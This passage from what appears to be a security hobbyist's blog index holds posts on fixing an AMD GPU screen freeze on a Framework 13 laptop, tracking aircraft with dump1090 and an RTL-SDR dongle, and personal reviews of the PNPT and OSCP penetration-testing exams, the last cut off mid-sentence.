2026","externalUrl":null,"permalink":"/tags/blowfish/","section":"Tags","summary":"","title":"blowfish","type":"tags"},{"content":" Red Team Active Directory attack chains, C2 pivoting with Sliver, and privilege escalation. Attack chains RFID \u0026amp; Hardware Reading, cloning, and writing cards and tags with the Proxmark3. Proxmark3 series Software Defined Radio Decoding P25 trunked radio and tracking aircraft over ADS-B with cheap dongles. SDR posts Certifications Honest OSCP and PNPT reviews, and how the two compare. Exam reviews ","date":"Sep 26, 2026","externalUrl":null,"permalink":"/","section":"Break it to understand it.","summary":"","title":"Break it to understand it.","type":"page"},{"content":"","date":"Sep 26, 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"Sep 26, 2026","externalUrl":null,"permalink":"/tags/hugo/","section":"Tags","summary":"","title":"hugo","type":"tags"},{"content":"","date":"Sep 26, 2026","externalUrl":null,"permalink":"/tags/jekyll/","section":"Tags","summary":"","title":"jekyll","type":"tags"},{"content":"","date":"Sep 26, 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"Sep 26, 2026","externalUrl":null,"permalink":"/tags/static-site/","section":"Tags","summary":"","title":"static site","type":"tags"},{"content":"","date":"Sep 26, 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"Sep 26, 2026","externalUrl":null,"permalink":"/tags/web/","section":"Tags","summary":"","title":"web","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/card-cloning/","section":"Tags","summary":"","title":"card cloning","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/hardware-hacking/","section":"Tags","summary":"","title":"hardware hacking","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/categories/hardware-hacking/","section":"Categories","summary":"","title":"Hardware Hacking","type":"categories"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"linux","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/mifare/","section":"Tags","summary":"","title":"mifare","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/nfc/","section":"Tags","summary":"","title":"nfc","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/pentoo/","section":"Tags","summary":"","title":"pentoo","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/proxmark3/","section":"Tags","summary":"","title":"proxmark3","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/radio-frequency/","section":"Tags","summary":"","title":"radio frequency","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/tags/rfid/","section":"Tags","summary":"","title":"rfid","type":"tags"},{"content":"","date":"Jul 31, 2026","externalUrl":null,"permalink":"/categories/rfid/","section":"Categories","summary":"","title":"RFID","type":"categories"},{"content":"","date":"May 10, 2026","externalUrl":null,"permalink":"/tags/amd-gpu/","section":"Tags","summary":"","title":"amd gpu","type":"tags"},{"content":" What Happened? # I bought a framework 13 earlier this year, and I was having some issues with the screen randomly freezing after booting in the GUI (startx). I noticed that the screen would not freeze when I boot and stay in the console. I also tried different distro (Ubuntu, Fedora and Kali) and it was the same issue. Luckily, I use Pentoo, and because I configured it to boot in the console first instead of the GUI directly, I was able to spot the difference. My friend \u0026amp; mentor is the lead dev for Pentoo, which means he could help me troubleshoot the issue better.\nScreen Freezing? # I wish I still had the video I recorded of the screen randomly freezing so I could show what it looks like, but I will do my best to explain it. By screen freezing, I mean that the mouse will still be visible on the screen, you could move it, but you can\u0026rsquo;t click anywhere, essentially a GPU hang where the input stack is alive, but the display buffer has stopped updating.\nTroubleshooting # I went to Bsides Charm to hang out with the RF Village and take part in some of the CTF Challenges. So, I brought my framework with me and everyone was taking a look to find out what could be causing the issue. We went by process of elimination as we tested different things.\nMy mentor, who is \u0026ldquo;the\u0026rdquo; dev for pentoo, took a look and noticed that I was using an older version of mesa, which is a graphic library. He commented that the issue I was experiencing was fixed in the newer, more recent update. He also looked at the make.conf, which is the config file that tells the portage how the OS should be built and optimized. In the make.conf file, he noticed that all the GPU drivers in existence were being used. So, he removed everything else but the drivers for the GPU I was using.\nThat seemed to have fixed the issue, and then something else happened with the bootloader. The screen would get stuck at boot. At least, now I knew the issue wasn\u0026rsquo;t at the hardware level, which for some reasons, I thought otherwise.\nI finally had a lead, thanks to my mentor. So, it was time to fix it for good.\nThe FIX # After looking at kernel logs, googling, reading the archlinux documentation and lurking on Reddit, here is what seems to have fixed the issue for me.\nGraphic Library Update and Environment Cleanup # Edit make.conf and remove everything but your GPU drivers. In my case, VIDEO_CARDS=\u0026quot;amdgpu radeonsi\u0026quot; sudo nano /etc/portage/make.conf Update Mesa emerge --ask --update --changed-use --deep --verbose media-libs/mesa Kernel Stability # Editing the grub config file sudo nano /etc/default/grub Add the parameters amdgpu.dcdebugmask=0x10 amdgpu.sg_display=0 to GRUB_CMDLINE_LINUX_DEFAULT like this Save and Update grub sudo grub-mkconfig -o /boot/grub/grub.cfg Note The exact command to update grub varies depending on the OS you are using. Since I\u0026rsquo;m using pentoo, this command also works on gentoo/arch (maybe fedora too). But for debian/ubuntu, it might be different.\nDisplay Server Configuration # Create the Display server configuration file sudo nano /etc/X11/xorg.conf.d/20-amdgpu.conf Add the following: Section \u0026#34;Device\u0026#34; Identifier \u0026#34;AMD Graphics\u0026#34; Driver \u0026#34;amdgpu\u0026#34; Option \u0026#34;TearFree\u0026#34; \u0026#34;false\u0026#34; Option \u0026#34;VariableRefresh\u0026#34; \u0026#34;false\u0026#34; Option \u0026#34;AsyncFlipSecondaries\u0026#34; \u0026#34;true\u0026#34; EndSection Note I\u0026rsquo;m using an AMD GPU, but if you are using Nvidia, your config file will be slightly different.\nSave and then reboot. Warning I noticed that the mouse was disappearing sometimes when I was in a browser. setting TearFree to \u0026ldquo;true\u0026rdquo; in the 20-amdgpu.conf file fized the issue\nWhat helped # Here are the links that actually helped me figure it out, in case my fix doesn\u0026rsquo;t work for you. You should try to go through them and hopefully find the fix that works for your specific situation.\nArchLinux Documentation on AMDGPU Configuration - The most helpful to me ArchLinux Forum Post Framework13 Community Posts Reddit Post ","date":"May 10, 2026","externalUrl":null,"permalink":"/posts/framework-laptop-13-freezing-screen/","section":"Posts","summary":"How to fix screen freezing and GPU hangs on the Framework Laptop 13 running Linux — AMD GPU kernel parameter fix via GRUB.","title":"Framework 13 Screen Freezing Fix","type":"posts"},{"content":"","date":"May 10, 2026","externalUrl":null,"permalink":"/tags/framework-laptop/","section":"Tags","summary":"","title":"framework laptop","type":"tags"},{"content":"","date":"May 10, 2026","externalUrl":null,"permalink":"/tags/grub/","section":"Tags","summary":"","title":"grub","type":"tags"},{"content":"","date":"May 10, 2026","externalUrl":null,"permalink":"/tags/kernel/","section":"Tags","summary":"","title":"kernel","type":"tags"},{"content":"","date":"May 10, 2026","externalUrl":null,"permalink":"/categories/linux/","section":"Categories","summary":"","title":"Linux","type":"categories"},{"content":"","date":"May 10, 2026","externalUrl":null,"permalink":"/tags/screen-freeze/","section":"Tags","summary":"","title":"screen freeze","type":"tags"},{"content":"","date":"May 10, 2026","externalUrl":null,"permalink":"/tags/troubleshooting/","section":"Tags","summary":"","title":"troubleshooting","type":"tags"},{"content":"","date":"May 10, 2026","externalUrl":null,"permalink":"/categories/troubleshooting/","section":"Categories","summary":"","title":"Troubleshooting","type":"categories"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/tags/ads-b/","section":"Tags","summary":"","title":"ads-b","type":"tags"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/categories/ads-b/","section":"Categories","summary":"","title":"ADS-B","type":"categories"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/tags/aircraft-tracking/","section":"Tags","summary":"","title":"aircraft tracking","type":"tags"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/tags/dump1090/","section":"Tags","summary":"","title":"dump1090","type":"tags"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/tags/osint/","section":"Tags","summary":"","title":"osint","type":"tags"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/tags/rtl-sdr/","section":"Tags","summary":"","title":"rtl-sdr","type":"tags"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/tags/sdr/","section":"Tags","summary":"","title":"sdr","type":"tags"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/tags/software-defined-radio/","section":"Tags","summary":"","title":"software defined radio","type":"tags"},{"content":"","date":"Apr 11, 2026","externalUrl":null,"permalink":"/categories/software-defined-radio/","section":"Categories","summary":"","title":"Software Defined Radio","type":"categories"},{"content":" What You\u0026rsquo;ll Need # 3 pieces of gear:\nUbuntu 24.04 LTS: (fresh install recommended) RTL-SDR dongle: (any 1090 MHz capable) Dump1090: (free open-source ADS-B decoder) Downloading and Installing Dump1090 # Dump1090 is an open source decoder designed for RTLSDR devices.\nYou can download it from the terminal with the command\ngit clone https://github.com/antirez/dump1090.git Tip Read the README File to have a good understanding of what dump1090 can do.\nOnce that\u0026rsquo;s done,\ncd dump1090 ls You will notice that it doesn\u0026rsquo;t have the executable, so you will have to install some dependencies and then execute the \u0026ldquo;make\u0026rdquo; command.\nsudo apt update sudo apt install -y pkg-config librtlsdr-dev libusb-1.0-0-dev build-essential make Now, you can see the executable is there.\nRunning dump1090 # Let\u0026rsquo;s plug in our SDR and run dump1090 in interactive mode with a map we can access on http://localhost:8080\n./dump1090 --interactive --net We can see the airplanes data, like flight, hex, altitude, speed, Latitude, Longitude, Track, Messages and Seen.\nTracking a Specific Airplane (SWA1747) # Let\u0026rsquo;s look at SWA1747, which is a Southwest Aircraft, for example.\nHex: a51f0f =\u0026gt; Unique Aircraft Identifier/Name tag (like a license plate) Flight: SWA1747 Altitude: 10,800 ft Speed: 278 kt =\u0026gt; 278 knots (1 kt = 1.15 mph) Lat: 38.985 Lon: -77.256 Track: 280 degrees =\u0026gt; shows aircraft direction/where it\u0026#39;s going Messages: 577 Seen: 0 sec =\u0026gt; means the aircraft is actively transmitting and dump1090, our decoder, is keeping up in real time. We have received 577 Messages (Packets), which means dump1090 is decoding this aircraft pretty well.\nThe aircraft is currently at a relatively low altitude (10,800 ft) compared to typical airline traffic altitude (30,000 - 40,000 ft) , which suggests it could possibly be arriving/descending.\nTrack is expressed in degrees:\n0° = flying north 90° = flying east 180° = flying south 270° = flying west Another way of explaining this:\n0°-89° = North/Northeast → toward top-right of the compass 90°-179° = East/Southeast → toward bottom-right 180°-269° = South/Southwest → toward bottom-left 270°-359° = West/Northwest → toward top-left In our case, with a Track of 280 degrees, it indicates that the aircraft is moving West-NorthWest.\nPutting the Lat/Lon in Google Maps , we can see that with a latitude of 38.985 and longitude of -77.256, SWA1747 was flying near Great Falls Park, Virginia.\nOn the Interactive Map # Port 8080 gives you a live map at http://localhost:8080, watch planes move in real-time! :)\nNow, if we open http://localhost:8080 in our browser, we will have a map with all the planes icons and positioning.\nIf for some reasons port 8080 is not working or is being used by another service or app, We can change our port like this\n./dump1090 --interactive --net --net-http-port 1234 This is an interactive map, which means the icons move in real time, and the number of airplanes detected will change in real time as well.\nYou can click and drag to move around the map, and you can zoom in and out too. It\u0026rsquo;s fun to play around with it and get used to it\nIf we select/click on a plane, we can have some more information on it. Like this:\nConclusion # Tracking airplanes with SDR is quite fun and a good way to gather real-time intelligence data.\nBy decoding live ADS-B transmissions, you capture unencrypted details like aircraft identities, positions, and flight paths that can be paired with OSINT techniques, cross-referencing hex codes with FAA registries, flight tracking sites, or news reports, to build comprehensive profiles on specific planes.\nThis lets you pinpoint exactly where a particular aircraft is at any given moment, revealing patterns in executive travel, cargo movements, or even rare government flights, legally, of course, and with just a cheap SDR and Opensource tool.\nTip Want to push your SDR further? P25 Scanner using SDRTrunk walks through decoding live trunked radio communications from public safety agencies using the same hardware.\n","date":"Apr 11, 2026","externalUrl":null,"permalink":"/posts/airplane-tracker/","section":"Posts","summary":"How to track live aircraft using a cheap RTL-SDR dongle, dump1090, and ADS-B signals — includes setup, antenna tips, and map visualization.","title":"Tracking Aircraft with Dump1090","type":"posts"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/certification/","section":"Tags","summary":"","title":"certification","type":"tags"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/comparison/","section":"Tags","summary":"","title":"comparison","type":"tags"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/offsec/","section":"Tags","summary":"","title":"offsec","type":"tags"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/oscp/","section":"Tags","summary":"","title":"oscp","type":"tags"},{"content":"As someone who has passed both the PNPT and the OSCP, I wanted to share my perspective on how they compare. Both are strong certifications for anyone interested in penetration testing, but they are designed differently and reward slightly different strengths.\nWarning Everything in this review reflects my own experience and opinion. Others may have different views, and that’s completely fair.\nWhat makes them different ? # The Training # Both certifications include training material, but the learning experience is different.\nWhen I took the PNPT, the Practical Ethical Hacking (PEH) course was video-based, with only limited written notes early on.\nThe OSCP/PEN-200, on the other hand, included both videos and a PDF course, which made it easier for me to study at my own pace. OffSec also provides companion videos for many modules, and those materials are part of the current PEN-200 learning experience.\nPersonally, I prefer reading instead of watching videos. But if you learn better from videos, the PNPT course may be a better fit because it is a soneone explaining things in a direct and conversational way. In the end, both trainings are valuable; the best one is the one that matches how you learn best.\nThe Exam (Get Hacking) # The biggest difference is in the exam style.\nThe PNPT focuses on demonstrating a realistic network penetration test, with external reconnaissance, internal exploitation, and compromise of the domain controller as the main objective. It allows five full days for the assessment, and the exam also includes a live debrief after the report. The PNPT also includes an OSINT component, which makes the exam feel more like a full attacker workflow, from initial recon through internal compromise and reporting.\nThe OSCP is more time constrained and structured around proving compromise through flags and report submission. OffSec’s current PEN-200/OSCP+ materials emphasize hands-on exploitation, evidence gathering, and the exam report, while the exam itself is proctored and AI use is not permitted during the proctored portion.\nThe Report # Both certifications require a report, but the process differs slightly.\nThe PNPT gives two days for report writing and includes a live debrief, which adds a communication component beyond the written document.\nThe OSCP also requires a formal report submitted in PDF format as part of the certification process.\nThat extra debrief makes the PNPT feel a bit more client-facing, while the OSCP’s reporting feels more like formal technical documentation. Both are useful skills in real pentesting enagements.\nFinal thoughts # I think both certifications have value, but they serve slightly different purposes. If your main goal is structured, widely recognized validation and you want a credential that many employers immediately understand, the OSCP still has the stronger market presence in my opinion.\nIf your goal is a lower-cost, more approachable, and very practical pentesting experience, the PNPT is an excellent choice and can be a great confidence builder.\nIf the goal is learning rather than certification alone, there are also strong alternatives like HTB Academy, specifically the CPTS paths, which may be a better fit depending on your goals.\nFor me, the best way to think about it is this: The PNPT asks whether you can operate like a pentester in a realistic engagement, while the OSCP asks whether you can perform under a more formalized, high-pressure exam format. Both are good, just in different ways.\nWhich one should you take? (If any of them) # If your main goal is broad employer recognition and a certification that is widely understood in the industry, the OSCP is still the safer bet. It has a strong brand recognition and tends to carry more weight on a resume, especially for roles that explicitly mention it.\nIf budget matters more, or if you want a more approachable and practical way to test whether penetration testing is right for you, the PNPT is an excellent option. It is more affordable, and the exam structure gives you a realistic experience without the same financial barrier.\nNeither certification is inherently “better”, they are simply better suited to different goals, budgets, and learning styles.\nFor me, the choice comes down to where you are in your journey and what you want out of the experience.\nTip Want the full story on each? Read the OSCP Exam Review and the PNPT Exam Review for a deeper look at each exam experience.\n","date":"Apr 3, 2026","externalUrl":null,"permalink":"/posts/oscp-vs-pnpt-review/","section":"Posts","summary":"Side-by-side comparison of OSCP and PNPT — cost, difficulty, recognition, and which certification is the better choice for your career.","title":"OSCP vs PNPT - A Review","type":"posts"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/penetration-testing/","section":"Tags","summary":"","title":"penetration testing","type":"tags"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/pentesting/","section":"Tags","summary":"","title":"pentesting","type":"tags"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/pnpt/","section":"Tags","summary":"","title":"pnpt","type":"tags"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/red-team/","section":"Tags","summary":"","title":"red team","type":"tags"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/categories/reviews/","section":"Categories","summary":"","title":"Reviews","type":"categories"},{"content":"","date":"Apr 3, 2026","externalUrl":null,"permalink":"/tags/tcm-security/","section":"Tags","summary":"","title":"tcm security","type":"tags"},{"content":"","date":"Mar 27, 2026","externalUrl":null,"permalink":"/tags/exam/","section":"Tags","summary":"","title":"exam","type":"tags"},{"content":"","date":"Mar 27, 2026","externalUrl":null,"permalink":"/categories/pnpt/","section":"Categories","summary":"","title":"PNPT","type":"categories"},{"content":"I took and passed the Practical Network Penetration Tester (PNPT) exam in May 2025 on my first attempt.\nWhy Go for the PNPT? # The PNPT is one of the most enjoyable and practical pentesting certifications out there, and compared to others in the field, it\u0026rsquo;s affordable. It\u0026rsquo;s also beginner friendly, making it a great choice for anyone curious about whether penetration testing is something they\u0026rsquo;d actually enjoy doing.\nFor me, the PNPT wasn\u0026rsquo;t about chasing a credential. It was about testing myself, applying what I\u0026rsquo;d been learning casually, and seeing what a real penetration test feels like from start to finish.\nBefore the PNPT (The Prelude) # Before starting the PNPT, I had already spent some time solving Hack The Box (HTB) machines. But back then, I didn\u0026rsquo;t really have a solid process. My approach was basically to poke around, Google everything, and learn as I went.\nI would often spend days, sometimes even weeks, on a single \u0026ldquo;easy\u0026rdquo; box. But honestly, I enjoyed that. There was no pressure. Every failed attempt just meant more late night reading, more small discoveries about services, ports, IPs, and subnets. Gradually, I started to see how all these pieces fit together and formed a system\u0026rsquo;s attack surface. So while I wasn\u0026rsquo;t completely new to pentesting, I knew I needed structure before tackling something like the PNPT.\nThat\u0026rsquo;s what drew me to the Practical Ethical Hacking (PEH) course.\nHow It Started: My Preparation Journey # I bought the PNPT voucher during the Black Friday 2024 sale and started the PEH course in January 2025. The course is taught by Heath Adams (aka The Cyber Mentor), who explains technical topics in a clear and practical way. His teaching style really stood out to me: easy to follow and grounded in real experience.\nEven so, I hit a wall early on. After a few videos, I found myself struggling to remember what I\u0026rsquo;d watched. It took some reflection to realize that I learn best through reading, not watching videos. I can listen to videos just fine, but I retain information much better when I read, take notes, and study written materials.\nThe early parts of the course included notes and summaries, which helped a lot. But once those stopped appearing, I had to change my learning style. I kept watching the videos, but I also started doing a lot of reading. I went through HackTricks, technical blogs, and many Hack The Box write-ups.\nDuring this time, I focused mostly on Windows and Active Directory (AD) machines. I wrote my own write-ups for each box I solved, compared my approach with others\u0026rsquo;, and learned how different people can approach and think through the same problem. That process helped me build my own methodology.\nWhen I wasn\u0026rsquo;t studying, I often had IppSec videos playing in the background. For two or three months, that was basically the only YouTube channel I watched while relaxing or eating.\nNote I learn best by reading when I\u0026rsquo;m exploring something new, but once I understand the topic, I can easily switch to videos. The only thing I actually watch for fun is anime! :)\nBy early April 2025, I finally stopped overthinking and decided to take the exam in early May.\nThe Exam (The Fight) # The exam lasted seven days: five days for hacking and compromising the Domain Controller (DC) and two days for writing and submitting the report.\nGoing into it, I was a bit anxious since I wasn\u0026rsquo;t sure what to expect. It was my first time taking an exam like this. I was used to the usual multiple-choice format, but this one already felt different. I was excited and nervous at the same time.\nThe exam isn\u0026rsquo;t proctored, which took some pressure off. It was just me, my PC, and my room; exactly how I like it.\nOnce I started, everything went smoothly. I received my VPN credentials and the Rules of Engagement (ROE) via email, which I read very carefully. I probably spent more time than needed going through it, but I wanted to be absolutely sure I didn\u0026rsquo;t miss or do anything out of scope.\nAfter that, I documented the IP addresses and got to work. As always, I began with information gathering, followed by port scanning and service enumeration to identify what I could access.\nEverything was going well until I hit my first big roadblock after getting inside the network. Since I\u0026rsquo;m used to solving HTB machines, I initially defaulted to that mindset. I paused and thought, \u0026ldquo;Wait a minute, there\u0026rsquo;s no flag here\u0026hellip; so what am I chasing?\u0026rdquo;\nIn CTFs, your target is always a flag. For a second I completely forgot that in a real penetration test, there are no flags. Every step felt familiar to my CTF habits, but I needed to shift my perspective.\nI decided to take a break and play one of my favorite games, Apollo Justice: Ace Attorney. During the second case, something in the storyline reminded me of what I needed to do, to look at the problem differently, or as Phoenix would say, \u0026ldquo;turn the case upside down.\u0026rdquo;\nThat moment clicked for me. My real goal was to compromise the DC. Everything in between was just part of figuring out how to get there. There were no points for flags. I either owned the DC or I didn\u0026rsquo;t.\nAfter that, I began thinking like a real attacker, for real this time. I started mapping out the network, identifying IPs and hosts, and connecting pieces together. I had a blank sheet of paper (no lines. I can\u0026rsquo;t think on lined paper!) and drew a small network map, labeling each host based on the information I found.\nAs I progressed, I refined that drawing until I no longer needed it. I had a mental map of the entire network and the systems I was interacting with.\nWhenever a command didn\u0026rsquo;t work, I asked ChatGPT to break it down for me line by line and explain what it did. Even when I already had an idea, I liked seeing how the explanation would sometimes reveal deeper insights or new ways to tweak the syntax for my situation. That approach helped me better understand some of the tools and scripts I\u0026rsquo;d picked up from blogs or write-ups.\nIt took me about four days to compromise the DC. To be honest, I spent a lot of that time playing Apollo Justice, taking naps, cleaning, and watching anime between attempts. For me, the exam felt like another game I needed to beat within five days. I already had a second attempt at no extra cost if I failed, so I stayed relaxed.\nOnce I finally compromised the DC, I couldn\u0026rsquo;t resist doing something a little funny. Let\u0026rsquo;s call it \u0026ldquo;Red Team flair.\u0026rdquo; I left a small creative mark to prove I had control of the network, took a screenshot, and added it to my report.\nAfter submitting, I let the timer run out in case I remembered something I\u0026rsquo;d missed and needed another screenshot. Then I left it running in the background and went back to my game.\nThe Presentation # A few days later, I received an email confirming that my report had been accepted and that I could schedule my presentation. I was excited to walk through everything I\u0026rsquo;d done.\nThe presentation went smoothly. I explained how I approached the engagement, the vulnerabilities I found, and how I exploited them. I also highlighted what the \u0026ldquo;security team\u0026rdquo; did well, what could be improved, and gave specific recommendations on how to address the identified issues.\nOf course, I shared the funny little thing I did at the end too.\nThe interviewer seemed genuinely pleased with my report and presentation. After I finished, he smiled, congratulated me, and told me that I\u0026rsquo;d passed the exam. I was stunned. I expected to wait a while for the results, so hearing it right then was a pleasant surprise, shocking and a huge relief.\nAnd just like that, I had officially passed the PNPT on my very first attempt.\nAfter the presentation, I finally had a moment to breathe and reflect on the whole experience; what went well, what surprised me, and what the PNPT really taught me.\nAfter the Exam: My Thoughts # The PNPT was a great experience and easily one of the most practical and realistic exams I\u0026rsquo;ve taken. It forces you to think like an attacker rather than just running commands. You can\u0026rsquo;t simply copy commands from memory and expect results. You have to understand what each command does and why it works in that specific context.\nThe main goal is simple: compromise the Domain Controller (DC). But getting there feels like doing a real engagement. It\u0026rsquo;s not a CTF. There are no flags. You have to move through the network, find entry points, pivot between systems, and validate every piece of access you get.\nThe process starts with OSINT (Open Source Intelligence). You gather information on the target, such as employee names, domains, and possible passwords, and use that as the foundation for attacks. The OSINT portion of the exam was fairly light, but it showed me how much more there is to learn in that area. Deep OSINT is its own skill set, and I\u0026rsquo;d like to explore it further.\nAfter OSINT, the next stage is external enumeration. Tools like nmap help you discover the company\u0026rsquo;s external IPs, open ports, and exposed services. Those are your possible footholds.\nOnce you\u0026rsquo;re inside, the real work starts. You enumerate internal hosts, identify vulnerabilities, and pivot through the network toward the domain controller. Every set of credentials you find needs to be tested and validated. If you only have one piece of the puzzle, like a username or password, you can use password spraying to find the other.\nIt\u0026rsquo;s a methodical process that requires patience and logic. It\u0026rsquo;s less about chasing flags and more about thinking strategically, adapting, and connecting the dots in a live network.\nOne of the biggest takeaways from my PNPT journey wasn\u0026rsquo;t just technical, it was learning how I learn. I realized I\u0026rsquo;m at my best when I can slow down, read, take notes, and connect ideas at my own pace. That process helps me understand why something works instead of just memorizing commands. Once the concept clicks, I can move on to videos or visual learning without struggling. Understanding that changed how I approach learning in general.\nTip Wondering how the PNPT stacks up against the OSCP? Check out the OSCP vs PNPT Review, or read the OSCP Exam Review to see how my second attempt went.\n","date":"Mar 27, 2026","externalUrl":null,"permalink":"/posts/pnpt-review/","section":"Posts","summary":"Honest review of the PNPT certification by TCM Security — exam format, difficulty, practical pentesting skills tested, and who it is best suited for.","title":"PNPT Exam Review","type":"posts"},{"content":"","date":"Mar 27, 2026","externalUrl":null,"permalink":"/tags/pnpt-review/","section":"Tags","summary":"","title":"pnpt review","type":"tags"},{"content":"","date":"Mar 12, 2026","externalUrl":null,"permalink":"/categories/oscp/","section":"Categories","summary":"","title":"OSCP","type":"categories"},{"content":"I passed the OffSec Certified Professional (OSCP) in March 2026, on my second attempt. My first attempt was in December 2025.\nWhy the OSCP? # Why not?\nThe OSCP is still one of the names that instantly gets recognized in the security space. It won’t make you the best hacker, and it doesn’t replace real world experience. But if you get the opportunity, especially if you’re not paying for it out of your own pocket, it’s hard to argue against taking it.\nThe OSCP Exam – Round 1 # I won’t pretend I walked into my first attempt overflowing with confidence. I was nervous, yet excited at the same time. There’s a specific kind of thrill that comes from knowing you’re about to test yourself against something difficult.\nMy game plan going in the exam was simple: have my notes ready, have a few trusted references open (HackTricks, HackViser, etc.), and let Google fill in the gaps when needed.\nI was pretty new to the whole proctoring experience, so that made me anxious. Having someone on the other side of the screen that you can\u0026rsquo;t see, but they can see you isn\u0026rsquo;t fun at all. I also had a preview of my webcam feed so I could see myself, making sure I wasn\u0026rsquo;t doing anything strange that could violate offsec policy. That was not the best idea since it made me stress even more.\nThe pre-exam checks went smoothly overall, except: the proctor noticed TeamViewer installed on my computer. It wasn’t running, but that didn’t matter, I had to uninstall it before I could start the exam. So, I did.\nOnce I finally got into the exam, things settled. I worked through the machines, starting with the Active Directory Set. At some point, I had 50 points with several hours left on the clock. I only needed 20 more points to pass the exam.\nI could go after the Domain Controller’s (DC) flag for 20 points, or I could try to squeeze 2 × 10 points out of the standalone machines by getting the missing flags there.\nAt that point, I had one standalone fully compromised (user and root), user on another, and I was close to getting the DC flag. I had the DC credentials; I just needed to decrypt them. In my head, the DC felt like the cleaner, easier play. I was already halfway in. It looked like the easiest path to my 20 points.\nSo, I focused on getting the DC flag. I tried every technique I could recall. I went back to my notes, back to Google, back to every mental drawer where I store “things that might help decrypt this kind of credential.”\nNothing worked. When the clock finally ran out, I was still stuck. No DC flag. No extra standalone flags. Just a flat 50 points.\nFail.\nAfter Failing the First Attempt (The Redemption Arc) # After the exam ended, I decided to wrap up my report just so I could have it for review.\nSince I’d been documenting everything during the exam, most of the heavy lifting was already done. I had the report template formatted and open before the exam even started. Screenshots were in place. The exploit I’d modified, a C exploit I had to tweak to fit my needs, was already explained, line by line, with what I changed and why. For the flags I had failed to obtain, I wrote out the approaches I had tried and the ideas I’d test if I ever saw those machines again.\nEmotionally, I was locked onto one thing: those damn credentials I couldn’t decrypt.\nAt first, I wasn’t even sad about failing. I was curious. I wanted to understand what I’d missed. I went down a rabbit hole of documentation, blog posts, forum threads, anything that mentioned that type of credential. I kept digging until, eventually, I found a guide that laid out exactly how to decrypt them.\nSeeing the solution laid out hurt in a very specific way. I felt that if I had known this one extra piece during the exam or if I had just a few more hours, I probably would have passed.\nThat’s when the emotions caught up. The disappointment and the frustration.\nI was disappointed, but I also knew this: If I took the exam again, I had a very real shot at passing.\nThe OSCP Exam – Round 2 (Rematch) # For my second attempt, I was a bit more relaxed. The fear of the unknown was gone. I knew what the proctoring felt like, how quickly time moved, and where I tend to get anxious.\nWhat I didn’t fully have back yet was my belief in myself.\nWhen the day came for the exam, I had everything ready. My Kali VM was already running. Obsidian was open with my notes and templates. I even had my report from the first attempt available, in case I ran into the same machines again, which I was hoping to.\nThe pre-exam steps with the proctor went smoothly again, but this time I changed one small detail: I turned off the webcam preview. I didn’t want to see my own face. I didn’t want to monitor every twitch and eye movement. That single change lowered my anxiety more than I expected. I could forget about the camera and just work.\nThen, I started enumerating some of the machines and eventually I realized that none of the machines from my first exam were there.\nThe machines I’d hoped to “redeem,” the ones I wanted a rematch with, didn’t show up. Brand new targets. It felt like a new exam.\nThis set of machines felt tougher. Not impossibly hard, but less straight forward. I followed the same methodology: enumerate, document, pivot, reassess.\nBy sometime between 10 and 11 PM, I had 60 points. It was deja vu with 10 more points left.\nI was working on a standalone box that looked promising. I had some credentials that should have worked but didn’t.\nAt that point, I started thinking about sleep.\nPart of me wanted to shut everything down, go to bed, and try a different machine in the morning with a fresh mind. I even set an alarm for 11:55 PM as a hard cutoff. Once that alarm went off, I would stop.\nBut between setting the alarm and the time it actually rang, I kept trying to understand the machine. I tried a few more small variations, different combinations, slight changes.\nAnd then, suddenly, it worked.\nThe credentials went through. I got in. I set up a reverse shell, pulled the user flag, took the screenshot, and did the math lol. I had the 70 points required to pass the exam.\nOnce again, my habit of writing the report in parallel paid off. Most of the content was already there. All I needed to do was stitch it together, add a few words between the screenshots and commands, and make sure everything met OffSec’s requirements. I finished and submitted my report around 2 AM in the morning (Sunday), thanked the proctor, turned off my computer, and went to bed.\nI checked Offsec Dashboard later around 10pm, and I saw that I had passed the exam. The official email came around 2 AM on Monday.\nMy thoughts # Looking back, I don’t think the OSCP is a super advanced or difficult exam. Technically, it’s challenging but not absurd. You don’t need to pull off some crazy exploits or techniques to pass. You might run into a harder than average machine or two, but nothing advance.\nThe real difficulty is in the range of possible techniques you can use and the discipline it takes to not get lost in that space. It’s the ability to recognize when you’re stuck in a rabbit hole, chasing a dead end because you’re emotionally invested in “making it work.”\nCredentials, in particular, messed with my head. A password is just a password, but the username that goes with it can change everything. The same password might be valid for multiple accounts, each with different privilege levels. You can spend an absurd amount of time 